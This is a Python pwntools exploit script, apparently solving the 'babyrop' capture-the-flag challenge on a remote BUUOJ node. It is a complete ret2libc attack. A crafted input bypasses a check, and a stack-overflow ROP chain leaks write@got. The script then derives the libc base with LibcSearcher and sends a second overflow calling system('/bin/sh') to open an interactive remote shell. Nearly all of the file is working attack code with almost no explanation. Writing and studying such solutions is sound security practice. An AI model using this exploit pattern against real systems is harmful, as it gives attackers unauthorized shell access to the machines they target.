#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
# io = process('./babyrop')
io = remote("node3.buuoj.cn", 25678)
e0 = ELF('./libc-2.23.so')
e1 = ELF('./babyrop')

# Construct func 0x80487D0 stack overflow
payload1 = b"\x00" + b"\xff"*0x7
io.sendline(payload1)
io.recvuntil("Correct\n")

# ---------------------------------------------------------
# Get libc_base
main = 0x8048825
offset = 0xE7 + 0x4
# payload2: write(1, write@got, length)
write_plt, write_got = e1.plt['write'], e1.got['write']
payload2 = cyclic(offset) \
         + p32(write_plt) \
         + p32(main) \
         + p32(0x1) \
         + p32(write_got) \
         + p32(0x4)
io.sendline(payload2)

write_addr = u32(io.recv())
success(f"func@write address: {write_addr}")
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
success(f"libc base = {libc_base}")

# Construct func 0x80487D0 stack overflow again
io.sendline(payload1)
io.recvuntil("Correct\n")

# ---------------------------------------------------------
# Get shell
# payload3: system("/bin/sh", null, null)
system_addr = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
payload3 = cyclic(offset) \
         + p32(system_addr) \
         + p32(0x00) \
         + p32(bin_sh)

io.sendline(payload3)
io.interactive()
